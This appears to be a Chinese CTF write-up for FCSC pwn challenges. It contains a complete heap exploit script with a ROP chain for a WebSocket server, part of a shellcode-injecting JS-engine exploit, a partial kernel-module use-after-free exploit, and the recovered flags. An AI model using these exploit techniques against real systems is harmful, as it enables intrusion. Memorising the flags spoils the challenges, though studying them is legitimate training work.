m = re.search(rb"break ([0-9a-fA-F]+)", data)
if not m:
raise RuntimeError(f"could not parse break leak from {data!r}")
return int(m.group(1), 16)
def build_payload(break_addr):
vars_addr = break_addr + OFF_VARS
slots_addr = break_addr + OFF_SLOTS
fake_class = slots_addr + 0x100
shell_entry = break_addr - OFF_SC_CHARS + 1
writes = [
(fake_class + JSCLASS_CONVERT, shell_entry),
(slots_addr + 2 * 4, fake_class | 1),
]
assignments = "".join(
f"v{slot_for(vars_addr, target)}={jsint_for_raw_word(raw)};"
for target, raw in writes
)
names = ",".join(f"v{i}" for i in range(65536))
sc = js_string_for_bytes(b"Z" + SHELLCODE + b"YMARKY")
src = (
f'var sc="{sc}";'
f"var g;function f(){{var {names};g={{}};{assignments}return 1;}}"
"f();g();\n"
)
return src.encode()
def recv_all(sock):
sock.settimeout(3.0)
data = bytearray()
while True:
try:
chunk = sock.recv(4096)
except TimeoutError:
break
if not chunk:
break
data += chunk
return bytes(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=4000)
args = parser.parse_args()
with socket.create_connection((args.host, args.port), timeout=5.0) as sock:
banner = sock.recv(4096)
payload = build_payload(parse_break(banner))
sock.sendall(payload)
sock.shutdown(socket.SHUT_WR)
out = banner + recv_all(sock)
sys.stdout.buffer.write(out)
if __name__ == "__main__":
main()打通后输出:
before 4050, after 4041, break 6340d000
FCSC{e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855}Flag:
FCSC{e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855}wsd
题目概况
题目给了一个很小的WebSocket server,要求通过Docker暴露出来的端口读/app/flag.txt。源码也给了,所以重点不在逆向,而在把WebSocket状态机和glibc堆状态接起来。
保护如下:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: NoPartial RELRO后面会用到,.got.plt可写。PIE、libc和栈都要leak。
漏洞根因
先看session结构:
struct ws_session {
enum ws_state state;
/* Fragmentation state */
enum ws_opcode frag_opcode;
size_t frag_len;
uint8_t *frag_buf;
};创建session时只初始化了state:
struct ws_session *ws_session_create(struct ws_client *client)
{
struct ws_session *s;
s = malloc(sizeof(*s));
if (!s)
return NULL;
s->state = WS_STATE_OPEN;
return s;
}frag_opcode、frag_len、frag_buf全部是未初始化字段。这个bug本身还不够,还要让这块新malloc出来的session里残留我们可控的数据。
HTTP握手失败时,程序会解析请求头,header value由堆分配保存。握手失败以后这些header会被释放,但连接不会断,可以继续读下一次HTTP请求。于是流程可以做成:
- 第一次发非法握手,带几个特定大小、特定内容的header,让对应tcache bin里留下可控chunk。
- 同一条连接第二次发合法握手,程序调用
ws_session_create(),malloc(sizeof(struct ws_session))从刚才的tcache里拿chunk。 - 因为只写了
state,后面的fragment字段继承旧header value。
ws_session大小是0x20。header value里放:
seed = b"A" * 16 + p64(-0x10)复用为session后,前8字节被state=0覆盖,frag_opcode对应旧数据,frag_len刚好变成-0x10,frag_buf在我们使用的布局里为NULL或后面再覆盖成NULL。
真正的越界发生在continuation处理:
} else if (frame->opcode == WS_OP_CONTINUATION) {
if (frame->payload_len > 0) {
size_t new_len = session->frag_len + frame->payload_len;
if (new_len > WSD_MAX_FRAME_SIZE) {
return -1;
}
uint8_t *tmp = realloc(session->frag_buf, new_len);
if (!tmp) {
return -1;
}
session->frag_buf = tmp;
memcpy(session->frag_buf + session->frag_len,
frame->payload, frame->payload_len);
session->frag_len = new_len;
}
if (frame->fin) {
int ret = ws_send_frame(client, session->frag_opcode,
session->frag_buf, session->frag_len);
free(session->frag_buf);
session->frag_buf = NULL;
session->frag_len = 0;
return ret;
}
}如果frag_len=-0x10,frag_buf=NULL,发一个非空continuation:
new_len = -0x10 + payload_len
tmp = realloc(NULL, new_len) = malloc(new_len)
memcpy(tmp - 0x10, payload, payload_len)这样就能从新chunk前面0x10字节开始写。写的位置正好覆盖chunk header,所以不能乱写。利用时先写一个合法header,例如:
p64(0) + p64(0x91)这样后面分配/释放不至于马上因为chunk metadata坏掉而abort。
从underwrite到AAR
有了heap underwrite以后,下一步是把它变成“可改session字段”。这里不是PONG分支本身会改session,而是利用ws_parse_frame()在进入业务逻辑前会先为非空payload分配一块堆内存:
if (payload_len > 0) {
frame->payload = malloc((size_t)payload_len);
if (!frame->payload)
return -1;
memcpy(frame->payload, buf + offset, (size_t)payload_len);
/* masked payload会在这里原地unmask,和漏洞无关 */
}前面make_fake_90()做的事,是用frag_len=-0x10制造一次underwrite,把刚分配出来的小chunk header改成size=0x91:
def make_fake_90(s):
s.sendall(frame(0, p64(0) + p64(0x91) + b"A" * 0x20, fin=True))
read_ws(s, timeout=0.2)这次continuation结束时,程序会free(session->frag_buf)。由于chunk header已经被改成0x91,这块内存会被当成0x90 chunk放进tcache。后面如果发一个payload长度为0x80的PONG,ws_parse_frame()会先malloc(0x80),刚好从0x90 tcache里取回这块fake chunk,然后把PONG payload拷进去。
在当前固定握手布局下,这块fake chunk的用户区距离ws_session是0x50。于是PONG payload里0x50偏移处的内容会覆盖session字段:
def overwrite_session(s, frag_len, frag_buf):
buf = bytearray(b"P" * 0x80)
buf[0x50:0x70] = struct.pack("<QQQQ",
0,
1,
frag_len & ((1 << 64) - 1),
frag_buf)
s.sendall(frame(0xA, bytes(buf), fin=True))
read_ws(s, timeout=0.05)这里写的四个qword分别对应:
state = 0
frag_opcode = 1
frag_len = controlled
frag_buf = controlledfrag_opcode=1只是让最终echo走TEXT opcode,方便收包。这里的0x50不是拍脑袋来的,它来自这轮堆布局:malloc(0x80)取回的fake 0x90 chunk在session前面,用户区到session起始正好差0x50;覆盖后用空continuation读任意地址能稳定验证这个偏移。
AAR的关键是空continuation。把session改成:
frag_len = size
frag_buf = addr然后发一个payload_len=0且FIN=1的continuation。因为payload_len==0,上面的if (frame->payload_len > 0)整个跳过,不会执行realloc,也不会改frag_buf/frag_len。随后进入if (frame->fin),程序直接:
ws_send_frame(client, session->frag_opcode,
session->frag_buf, session->frag_len);也就是从addr读size字节发回来。回显后它会free(session->frag_buf),所以读非堆地址时这条连接一般会崩,但server是fork模型,父进程不死,拿到response就够了。
代码上就是:
def arb_read(addr, size):
s = connect_seeded()
make_fake_90(s)
overwrite_session(s, size, addr)
s.sendall(frame(0, b"", fin=True))
data = ws_payload(read_ws(s, timeout=0.8))
s.close()
return data这个primitive是后面所有leak的基础。
leak链
heap
heap leak用safe-linking的编码形式。把session改成:
frag_len = 0x37
frag_buf = NULL再发一个一字节continuation。这次payload_len>0,所以会走realloc(NULL, 0x38),也就是拿一个0x40大小的tcache chunk。由于前面堆里有释放过的同size chunk,回显出来的开头能看到tcache entry里safe-linked的next。
glibc safe-linking是:
stored = next ^ (chunk_addr >> 12)当next=NULL时,stored就是chunk_addr >> 12。所以拿到第一个qword后:
heap_page = u64(leak[:8]) << 12这里得到的是heap page base,后面所有tcache_perthread_struct附近的固定偏移都从这个page算。
libc
libc leak来自unsorted bin。第一次非法握手里放一个比较大的header:
extra += b"X-Large: " + b"B" * 0x500 + b"\r\n"释放后它不会进小tcache bin,而是在heap上留下main arena附近的fd/bk指针。利用AAR从heap page附近按0x100扫,找高位像libc的qword,然后用本题给的libc验证ELF magic。
脚本里用的偏移是:
MAIN_ARENA_LEAK_OFF = 0x1E6B20
libc_base = qword - MAIN_ARENA_LEAK_OFF这里不要把它理解成通用glibc常量。它是本题libc-2.41.so里实际泄漏出来的arena相关指针到libc base的距离。算完以后必须读libc_base前4字节确认是ELF,否则heap里碰到一个形似libc地址的值就会误判。
PIE
有libc以后先读environ:
environ_ptr = u64(arb_read(libc_base + LIBC.sym["environ"], 8))environ给了当前子进程的栈地址。栈上除了返回地址,还有auxv。程序是PIE,auxv里的AT_PHDR指向主程序的program header。脚本从environ附近向下按0x100扫,找:
typ == 3 # AT_PHDR找到后:
pie_base = phdr - 0x400x40是这个ELF里program header相对PIE base的偏移。算完同样读PIE base确认ELF magic。
返回地址
最终要打栈,光有栈地址还不够,要知道当前处理WebSocket frame时的返回槽。这个偏移不是从源码直接看出来的,因为和编译选项、调用层级、当前函数栈帧都有关。
做法是用AAR读environ附近的栈内容,再结合反汇编确认。栈上能看到:
environ - 0x200: PIE + 0x16cc反汇编里0x16cc正好是server_handle_client()中:
call ws_on_data
test eax,eax也就是ws_on_data()返回后的下一条指令。于是最终用:
stack_ret = environ - 0x200后面把ROP写到这里,等当前ws_on_data()处理完frame返回时触发。
AAW和控制流劫持
有AAR之后,地址都齐了。接下来要做AAW。这里还是利用负frag_len,不过目标从“改session字段”变成“改tcache freelist”。
非法握手阶段额外准备两组chunk:
for i in range(3):
extra += b"X-50-%d: " % i + bytes([ord("C") + i]) * 56 + b"\r\n"
for i in range(3):
extra += b"X-70-%d: " % i + bytes([ord("F") + i]) * 88 + b"\r\n"这里的0x50、0x70是glibc chunk size,不是header value长度。还要注意HTTP header value是通过字符串保存的,实际malloc大小包含末尾NUL。比如X-50的value长度是56,strdup实际request是57:
request2size(56 + 1) = align(57 + 8 + 0xf) = 0x50X-70的value长度是88,加上NUL以后实际request是89:
request2size(88 + 1) = align(89 + 8 + 0xf) = 0x70后面WebSocket frame payload就没有这个NUL了,所以88字节PING payload本身不会进0x70,这也是第二阶段初版失败的原因。准备三个chunk是因为后面同一个bin里会有连续的realloc(NULL,new_len)、parser payload malloc、PONG output malloc等分配,不能只有一个entry。
这轮布局里用到的几个用户指针偏移如下:
0x50 bin:
heap + 0x860 X-50-0
heap + 0x8d0 X-50-1 # 被覆盖fd
heap + 0x940 X-50-2 # realloc(NULL,0x40)先取走它
0x70 bin:
heap + 0x9b0 X-70-0
heap + 0xa40 X-70-1 # 被覆盖fd
heap + 0xad0 X-70-2 # realloc(NULL,0x59)先取走它这些偏移不是ELF里的静态符号,而是由本题固定的HTTP header分配顺序得到的堆布局。heap base通过safe-linking先leak出来,所以实际地址仍然是动态计算。
Stage 1:把free@GOT改成ret
第一阶段poison 0x50 bin,使ws_send_frame()里的输出buffer分配到free@GOT:
target = pie + BIN.got["free"]
t1_50 = heap + 0x8D0
poison = p64(target ^ (t1_50 >> 12)) + p64(0) + b"A" * (0xB0 - 16)
poison_bin(s, -0x70, poison)这里t1_50=heap+0x8d0是被覆盖fd的0x50 tcache entry用户指针。具体分配顺序是:
overwrite_session(s, -0x70, 0)
payload_len = 0xb0
new_len = -0x70 + 0xb0 = 0x40
realloc(NULL,0x40) -> 取走heap+0x940这个0x50 chunk
memcpy(tmp-0x70, payload, 0xb0) -> 写到heap+0x8d0,覆盖X-50-1的fdtcache poisoning要写safe-linked next,所以写:
encoded = target ^ (chunk_addr >> 12)按直觉会想把free@GOT写成system,但这题不适合直接这么做。ws_send_frame()构造WebSocket回包时会先写frame header:
frame_buf[0] = 0x80 | (opcode & 0x0F);
frame_buf[1] = (uint8_t)len;
memcpy(frame_buf + hdr_len, payload, len);PONG的opcode是0xa,所以如果frame_buf=free@GOT,free@GOT前两个字节一定会被写成:
8a <payload_len>因此我在libc里找一个满足条件的ret gadget:
addr_low_byte == 0x8a
(addr >> 8) & 0xff == payload_len这样WebSocket header本身就是目标地址低两字节,payload从第三字节开始补剩下6字节。随后发PING时,两个0x50分配正好消耗这条链:
ws_parse_frame() malloc(ret_payload_len) -> X-50-1,tcache head变成free@GOT
ws_send_frame() malloc(2+ret_payload_len) -> free@GOT最终效果是:
free@GOT = libc_ret为什么要先写free=ret?因为后面会让ws_send_frame()的frame_buf落到GOT或栈上,函数末尾会free(frame_buf)。如果free还是正常glibc free,释放非heap地址必炸;改成ret以后这些free都变成空操作。
还有一个细节:write@GOT在free@GOT+0x20,这次payload可能覆盖到write@GOT。如果write坏了,PONG和flag都发不回来。所以stage 1 payload顺手把write@GOT恢复:
write_off = BIN.got["write"] - BIN.got["free"] - 2
payload[write_off:write_off + 8] = p64(libc + LIBC.sym["write"])Stage 2:把PONG写到返回地址
第二阶段poison 0x70 bin,目标是栈返回槽前8字节:
target = stack_ret - 8
t1_70 = heap + 0xA40
poison = p64(target ^ (t1_70 >> 12)) + p64(0) + b"B" * (0xE9 - 16)
poison_bin(s, -0x90, poison)这里t1_70=heap+0xa40同样是被覆盖fd的0x70 tcache entry。前面的poison过程和0x50 bin一样,只是换成0x70:
overwrite_session(s, -0x90, 0)
payload_len = 0xe9
new_len = -0x90 + 0xe9 = 0x59
realloc(NULL,0x59) -> 取走heap+0xad0这个0x70 chunk
memcpy(tmp-0x90, payload, 0xe9) -> 写到heap+0xa40,覆盖X-70-1的fd目标设成stack_ret-8,是因为PONG输出有2字节header,payload前面再垫6字节,刚好从stack_ret开始放ROP:
frame_buf + 0 = 0x8a
frame_buf + 1 = payload_len
frame_buf + 2..7 = padding
frame_buf + 8 = first ROP qword这一步最容易错的是size class。初版用88字节PING时可以收到PONG,但ROP不会执行。原因是同一轮会发生两类malloc:
ws_parse_frame()先malloc(frame->payload_len)保存客户端payload;ws_send_frame()再malloc(2 + frame->payload_len)构造PONG。
如果payload是88字节:
malloc(88) -> 0x60 bin
malloc(90) -> 0x70 binparser payload不消耗0x70 tcache head,PONG只拿到第一个真实0x70 chunk,还没轮到poisoned target。
修正后使用96字节PING:
malloc(96) -> 0x70 bin
malloc(98) -> 0x70 bin这样parser payload先消耗第一个0x70 chunk,PONG output才会拿到poisoned target。对应地,前面做poison的continuation也要让realloc(NULL,new_len)落到0x70 bin:
frag_len = -0x90
payload_len = 0xe9
new_len = 0x59
request2size(0x59) = 0x70最终ROP:
ret = libc + ROP_LIBC.find_gadget(["ret"])[0]
pop_rdi = libc + ROP_LIBC.find_gadget(["pop rdi", "ret"])[0]
system = libc + LIBC.sym["system"]
cmd = b"cat flag*>&4\0"
rop = bytearray(b"C" * 96)
cmd_addr = stack_ret + 32
rop[6:14] = p64(ret)
rop[14:22] = p64(pop_rdi)
rop[22:30] = p64(cmd_addr)
rop[30:38] = p64(system)
rop[38:38 + len(cmd)] = cmdret用于栈对齐,>&4是因为子进程里client socket fd稳定为4。
完整EXP
脚本假设目录结构和附件一致:wsd/wsd、wsd/libc-2.41.so在当前目录下,服务监听在127.0.0.1:4000。如果端口不同,用环境变量PORT指定。
import os
import re
import socket
import struct
from pwn import ELF, ROP
HOST = os.environ.get("HOST", "127.0.0.1")
PORT = int(os.environ.get("PORT", "4000"))
HERE = os.path.dirname(__file__) or "."
LIBC = ELF(os.path.join(HERE, "wsd", "libc-2.41.so"), checksec=False)
BIN = ELF(os.path.join(HERE, "wsd", "wsd"), checksec=False)
ROP_LIBC = ROP(LIBC)
LIBC_BYTES = open(os.path.join(HERE, "wsd", "libc-2.41.so"), "rb").read()
MAIN_ARENA_LEAK_OFF = 0x1E6B20
def p64(x):
return struct.pack("<Q", x & ((1 << 64) - 1))
def u64(x):
return struct.unpack("<Q", x.ljust(8, b"\0"))[0]
def recvn(sock, n, timeout=1.0):
sock.settimeout(timeout)
out = b""
try:
while len(out) < n:
chunk = sock.recv(n - len(out))
if not chunk:
break
out += chunk
except (TimeoutError, socket.timeout):
pass
return out
def recv_http(sock, timeout=0.2):
sock.settimeout(timeout)
out = b""
try:
while b"\r\n\r\n" not in out:
chunk = sock.recv(4096)
if not chunk:
break
out += chunk
except (TimeoutError, socket.timeout):
pass
return out
def send_http(sock, key=b"dGhlIHNhbXBsZSBub25jZQ==", extra=b"", valid=True):
if valid:
req = (
b"GET / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Upgrade: websocket\r\n"
b"Connection: Upgrade\r\n"
b"Sec-WebSocket-Key: " + key + b"\r\n"
b"Sec-WebSocket-Version: 13\r\n"
+ extra +
b"\r\n"
)
else:
req = (
b"GET / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Upgrade: nope\r\n"
+ extra +
b"\r\n"
)
sock.sendall(req)
return recv_http(sock)
def frame(opcode, payload=b"", fin=True, mask=False):
first = (0x80 if fin else 0) | opcode
length = len(payload)
second = 0x80 if mask else 0
if length <= 125:
hdr = bytes([first, second | length])
elif length <= 0xFFFF:
hdr = bytes([first, second | 126]) + struct.pack(">H", length)
else:
hdr = bytes([first, second | 127]) + struct.pack(">Q", length)
if not mask:
return hdr + payload
key = b"ABCD"
masked = bytes(c ^ key[i % 4] for i, c in enumerate(payload))
return hdr + key + masked
def read_ws(sock, timeout=1.0):
hdr = recvn(sock, 2, timeout=timeout)
if len(hdr) < 2:
return hdr
n = hdr[1] & 0x7F
if n == 126:
ext = recvn(sock, 2, timeout=timeout)
if len(ext) < 2:
return hdr + ext
n = struct.unpack(">H", ext)[0]
hdr += ext
elif n == 127:
ext = recvn(sock, 8, timeout=timeout)
if len(ext) < 8:
return hdr + ext
n = struct.unpack(">Q", ext)[0]
hdr += ext
return hdr + recvn(sock, n, timeout=timeout)
def ws_payload(data):
if len(data) < 2:
return b""
n = data[1] & 0x7F
off = 2
if n == 126:
off += 2
elif n == 127:
off += 8
return data[off:off + n]
def connect_seeded(frag_len=-0x10, large_header=True):
s = socket.create_connection((HOST, PORT))
seed = b"A" * 16 + p64(frag_len)
extra = b""
if large_header:
extra += b"X-Large: " + b"B" * 0x500 + b"\r\n"
for i in range(3):
extra += b"X-Seed-%02d: " % i + seed + b"\r\n"
send_http(s, extra=extra, valid=False)
resp = send_http(s, key=b"K" * 16, valid=True)
if b"101 Switching Protocols" not in resp:
raise RuntimeError(f"handshake failed: {resp!r}")
return s
def connect_multibin():
s = socket.create_connection((HOST, PORT))
seed = b"A" * 16 + p64(-0x10)
extra = b"X-Large: " + b"B" * 0x500 + b"\r\n"
for i in range(3):
extra += b"X-50-%d: " % i + bytes([ord("C") + i]) * 56 + b"\r\n"
for i in range(3):
extra += b"X-70-%d: " % i + bytes([ord("F") + i]) * 88 + b"\r\n"
for i in range(3):
extra += b"X-Seed-%02d: " % i + seed + b"\r\n"
send_http(s, extra=extra, valid=False)
resp = send_http(s, key=b"K" * 16, valid=True)
if b"101 Switching Protocols" not in resp:
raise RuntimeError(resp)
return s
def make_fake_90(s):
s.sendall(frame(0, p64(0) + p64(0x91) + b"A" * 0x20, fin=True))
read_ws(s, timeout=0.2)
def overwrite_session(s, frag_len, frag_buf):
buf = bytearray(b"P" * 0x80)
buf[0x50:0x70] = struct.pack("<QQQQ",
0,
1,
frag_len & ((1 << 64) - 1),
frag_buf)
s.sendall(frame(0xA, bytes(buf), fin=True))
read_ws(s, timeout=0.05)
def poison_bin(s, frag_len, payload):
s.sendall(frame(0, payload, fin=False))
read_ws(s, timeout=0.05)
def heap_page_leak():
s = connect_seeded()
make_fake_90(s)
overwrite_session(s, 0x37, 0)
s.sendall(frame(0, b"Z", fin=True))
leak = ws_payload(read_ws(s, timeout=0.5))
s.close()
return u64(leak[:8]) << 12
def arb_read(addr, size):
s = connect_seeded()
make_fake_90(s)
overwrite_session(s, size, addr)
s.sendall(frame(0, b"", fin=True))
data = ws_payload(read_ws(s, timeout=0.8))
s.close()
return data
def leak_libc(heap_page):
candidates = []
for base_off in range(0x300, 0x1200, 0x100):
data = arb_read(heap_page + base_off, 0x100)
for off in range(0, len(data) - 8, 8):
q = u64(data[off:off + 8])
if (q >> 40) in range(0x70, 0x80):
candidates.append(q)
for q in candidates:
libc_base = q - MAIN_ARENA_LEAK_OFF
if libc_base & 0xFFF:
continue
if arb_read(libc_base, 4) == b"\x7fELF":
return libc_base
raise RuntimeError("libc leak failed")
def leak_pie(libc_base):
environ_ptr = u64(arb_read(libc_base + LIBC.sym["environ"], 8))
start = (environ_ptr - 0x1000) & ~0xFFF
for chunk_off in range(0, 0x5000, 0x100):
data = arb_read(start + chunk_off, 0x100)
for off in range(0, len(data) - 16, 8):
typ = u64(data[off:off + 8])
val = u64(data[off + 8:off + 16])
if typ == 3 and (val >> 40) in range(0x50, 0x70):
pie_base = val - 0x40
if arb_read(pie_base, 4) == b"\x7fELF":
return pie_base
raise RuntimeError("PIE leak failed")
def ret_for_ws_50(libc_base):
fallback = None
for off, byte in enumerate(LIBC_BYTES):
if byte != 0xC3:
continue
addr = libc_base + off
payload_len = (addr >> 8) & 0xFF
if (addr & 0xFF) != 0x8A or not (6 <= payload_len <= 70):
continue
if payload_len <= 0x1E or payload_len >= 0x26:
return addr, payload_len
fallback = (addr, payload_len)
if fallback:
return fallback
raise RuntimeError("no encodable ret gadget")
def main():
heap = heap_page_leak()
libc = leak_libc(heap)
pie = leak_pie(libc)
environ = u64(arb_read(libc + LIBC.sym["environ"], 8))
stack_ret = environ + int(os.environ.get("STACK_DIFF", "-0x200"), 0)
print(f"heap={heap:#x} libc={libc:#x} pie={pie:#x} environ={environ:#x} ret={stack_ret:#x}")
s = connect_multibin()
make_fake_90(s)
ret_gadget, ret_payload_len = ret_for_ws_50(libc)
overwrite_session(s, -0x70, 0)
target = pie + BIN.got["free"]
t1_50 = heap + 0x8D0
poison = p64(target ^ (t1_50 >> 12)) + p64(0) + b"A" * (0xB0 - 16)
poison_bin(s, -0x70, poison)
payload = bytearray(p64(ret_gadget)[2:].ljust(ret_payload_len, b"R"))
write_off = BIN.got["write"] - BIN.got["free"] - 2
if 0 <= write_off and write_off + 8 <= len(payload):
payload[write_off:write_off + 8] = p64(libc + LIBC.sym["write"])
s.sendall(frame(0x9, payload, fin=True))
read_ws(s, timeout=0.5)
overwrite_session(s, -0x90, 0)
target = stack_ret - 8
t1_70 = heap + 0xA40
poison = p64(target ^ (t1_70 >> 12)) + p64(0) + b"B" * (0xE9 - 16)
poison_bin(s, -0x90, poison)
ret = libc + ROP_LIBC.find_gadget(["ret"])[0]
pop_rdi = libc + ROP_LIBC.find_gadget(["pop rdi", "ret"])[0]
system = libc + LIBC.sym["system"]
cmd = b"cat flag*>&4\0"
rop = bytearray(b"C" * 96)
cmd_addr = stack_ret + 32
rop[6:14] = p64(ret)
rop[14:22] = p64(pop_rdi)
rop[22:30] = p64(cmd_addr)
rop[30:38] = p64(system)
rop[38:38 + len(cmd)] = cmd
s.sendall(frame(0x9, bytes(rop), fin=True))
out = b""
s.settimeout(3.0)
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
if b"FCSC{" in out:
break
except (TimeoutError, socket.timeout):
pass
print(out)
m = re.search(rb"FCSC\{[^}\n]+\}", out)
if m:
print(m.group(0).decode())
if __name__ == "__main__":
main()运行:
python3 exp.py如果本地映射端口不是4000:
PORT=4004 python3 exp.pyFlag
FCSC{de54333a4ee42e9801119af160a82b4d27973af15c0d78fa44e3eab4c4d95878}netsec
题目给了源码和官方Docker环境,kernel是Linux 6.18.7,挑战服务不在用户态程序本身,而是在一个netfilter模块里。模块拦截发往1337端口的TCP流量,对payload做XOR处理;真正监听1337的用户态服务只是nc -knlp 1337 -e /bin/cat。
主线如下:
8bit hash collision
-> hash_table里留下freed sec_conn
-> leak slab地址
-> 伪造sec_conn做AAR/AAW
-> leak模块全局变量和kernel base
-> 改kmem_cache->ctor为set_memory_x
-> 写可执行slab shellcode
-> shellcode读/flag.txt,再用AAR读回结果模块逻辑
模块创建了一个名为netsec的kmem_cache,对象大小就是struct sec_conn的大小,也就是0x20。
struct sec_conn {
uint8_t *in_key;
uint8_t *out_key;
uint8_t *buf;
uint buf_len;
};初始化时:
cache = kmem_cache_create("netsec", sizeof(struct sec_conn),
0, SLAB_HWCACHE_ALIGN | SLAB_NO_MERGE, NULL);
crypto_kdf(in_key, KEY_SIZE, hook_port);in_key由固定服务端口1337生成。每条连接还有一个out_key,由客户端source port生成。
连接表只有0x100项:
static struct sec_conn* hash_table[0x100] = { NULL };索引是IP和端口各字节异或后的低8bit:
#define HASH(addr, port) \
((addr >> 24) ^ (addr >> 16) ^ (addr >> 8) ^ (addr) ^ \
(port >> 8) ^ (port)) & 0xff收包方向hook_in处理发往1337的数据。SYN创建连接,FIN销毁连接,普通payload会取出sec_conn,把payload拷进sconn->buf,再用sconn->in_key异或:
if (tcph->syn) {
create_sec_conn(ip_src, port_src);
} else if (tcph->fin) {
destroy_sec_conn(ip_src, port_src);
} else if (data_len > 0) {
sconn = get_sec_conn(ip_src, port_src);
if (sconn) {
buf = get_sec_conn_buf(sconn, data_len);
skb_copy_bits(skb, header_len, buf, data_len);
crypto_xor(buf, data_len, sconn->in_key, KEY_SIZE);
skb_store_bits(skb, header_len, buf, data_len);
}
}发包方向hook_out处理从1337发出的数据,也就是cat回显出来的内容。这里同样会取sconn->buf,不过XOR key换成了sconn->out_key:
if (data_len > 0) {
sconn = get_sec_conn(ip_dst, port_dst);
if (sconn) {
buf = get_sec_conn_buf(sconn, data_len);
skb_copy_bits(skb, header_len, buf, data_len);
crypto_xor(buf, data_len, sconn->out_key, KEY_SIZE);
skb_store_bits(skb, header_len, buf, data_len);
}
}所以一次正常交互是:
client payload
-> hook_in用in_key解密
-> /bin/cat回显
-> hook_out用out_key加密
-> client收到结果in_key和out_key的KDF都在源码里,两个key都能在用户态算出来。后面伪造结构体时,需要提前把这两层XOR抵消掉。
hash collision和UAF
创建连接时,模块会申请两个netsec cache对象:
void create_sec_conn(uint32_t ip, uint16_t port) {
uint8_t h = HASH(ip, port);
struct sec_conn* sconn = kmem_cache_alloc(cache, GFP_KERNEL);
sconn->in_key = in_key;
sconn->out_key = kmem_cache_alloc(cache, GFP_KERNEL);
sconn->buf = NULL;
sconn->buf_len = 0;
crypto_kdf(sconn->out_key, KEY_SIZE, port);
hash_table[h] = sconn;
}记作:
Sx = struct sec_conn
Kx = out_key buffer正常一条连接会有Sx和Kx两个0x20对象。
销毁连接时:
void destroy_sec_conn(uint32_t ip, uint16_t port) {
uint8_t h = HASH(ip, port);
struct sec_conn* sconn = hash_table[h];
if (sconn) {
if (sconn->out_key) {
kmem_cache_free(cache, sconn->out_key);
}
if (sconn->buf) {
kfree(sconn->buf);
}
kmem_cache_free(cache, sconn);
}
}这里释放了out_key和sconn,但是没有清hash_table[h]。另外,get_sec_conn()只按hash取bucket,不检查完整ip,port:
struct sec_conn* get_sec_conn(uint32_t ip, uint16_t port) {
uint8_t h = HASH(ip, port);
return hash_table[h];
}于是只要找两个同hash的source port即可:
open p1:
alloc S1
alloc K1
hash[h] = S1
open p2:
alloc S2
alloc K2
hash[h] = S2 // collision覆盖S1
close p2:
free K2
free S2
hash[h]仍然是S2
send p1:
get_sec_conn(p1)按hash返回freed S2实际使用:
p1 = 1338
p2 = 2103
HASH(192.168.2.1, 1338) = HASH(192.168.2.1, 2103) = 0x54到这里,p1是一条还活着的TCP连接,但模块查表时拿到的是已经释放的S2。
泄漏slab地址
get_sec_conn_buf()决定了后面怎么做heap feng shui:
uint8_t* get_sec_conn_buf(struct sec_conn* sconn, size_t len) {
if (sconn->buf_len < len) {
kfree(sconn->buf);
if (len <= CACHE_SIZE) {
len = CACHE_SIZE;
sconn->buf = kmem_cache_alloc(cache, GFP_KERNEL);
} else {
sconn->buf = kmalloc(len, GFP_KERNEL);
}
sconn->buf_len = len;
}
return sconn->buf;
}CACHE_SIZE=0x20,所以:
len <= 0x20 -> sconn->buf来自netsec kmem_cache
len > 0x20 -> sconn->buf来自普通kmalloc第一步发0x28,故意走kmalloc(0x28),不马上占回netsec对象。此时danglingS2里还残留着旧字段,尤其是旧out_key指针。K2已经free,里面会有allocator留下的元数据。因为回显路径会用旧out_key对输出做XOR,反过来消掉已知key后就能拿到一个heap/slab附近的地址。
一次运行里泄漏结果如下:
heap_leak = 0xffff9f7381c88040
slab_addr = 0xffff9f7381c88000这个leak的作用有两个:一是提供可用scratch区域,二是给后续读写模块全局和放置字符串/shellcode提供可控的内核堆地址参考。
从UAF到AAR/AAW
真正关键的是sec_conn四个字段的语义:
+0x00 in_key hook_in使用的XOR key指针
+0x08 out_key hook_out使用的XOR key指针
+0x10 buf skb_copy_bits/skb_store_bits的中转buffer
+0x18 buf_len 决定是否重新分配buf如果能把freedS2对应的netsec cache对象重占成可控内容,dangling路径就会把这0x20字节解释成新的sec_conn。由于协议会经过hook_in和hook_out两次XOR,写入fake structure前要先把两层key预先异或掉:
void xor_payload(uint8_t *payload, size_t plen, short port) {
uint8_t out_key[KEY_SIZE];
crypto_kdf(out_key, KEY_SIZE, port);
crypto_xor(payload, plen, in_key, sizeof(in_key));
crypto_xor(payload, plen, out_key, sizeof(out_key));
}AAR
任意读时伪造:
primitive.in_key = 0;
primitive.out_key = (uint8_t *)target;
primitive.buf = (uint8_t *)dummy_addr;
primitive.buf_len = 0x20;然后通过dangling连接发送8个。
输入方向:
in_key = NULL
hook_in不做XOR
payload仍然是0cat回显0。输出方向:
out_key = target
hook_out把target处的内容当key
0 xor *(target) = *(target)所以收到的8字节就是target处的内容。
AAW
任意写时伪造:
primitive.in_key = 0;
primitive.out_key = 0;
primitive.buf = (uint8_t *)target;
primitive.buf_len = len;输入方向会把用户payload直接copy到target,两边XOR都被关掉,回包内容不重要。这样就有了稳定AAR/AAW。
模块地址和kernel base
有了AAR后,先读模块全局变量。netsec.ko的符号表和运行时module section可以对出.bss布局:
hash_table = .bss + 0x000
in_key = .bss + 0x800
cache = .bss + 0x820因此先从slab附近读出模块in_key地址,再读in_key+0x20,就能得到全局cache指针。一次运行:
in_key addr = 0xffffffffc031fdc0
cache = 0xffff9f738132ca00kernel版本是6.18.7。符号偏移来自同一kernel的debug环境里读取kallsyms,基准为_text:
_text = 0xffffffff81000000
set_memory_x = 0xffffffff812ba1a0
filp_open = 0xffffffff8148e190
kernel_read = 0xffffffff81490ab0
slab_caches = 0xffffffff820e1560所以偏移为:
set_memory_x = _text + 0x2ba1a0
filp_open = _text + 0x48e190
kernel_read = _text + 0x490ab0
slab_caches = _text + 0x10e1560struct kmem_cache会挂到全局slab_caches链表里。当前布局下,cache+0x78是list_head里的一个指针,读出来等于KASLR后的slab_caches:
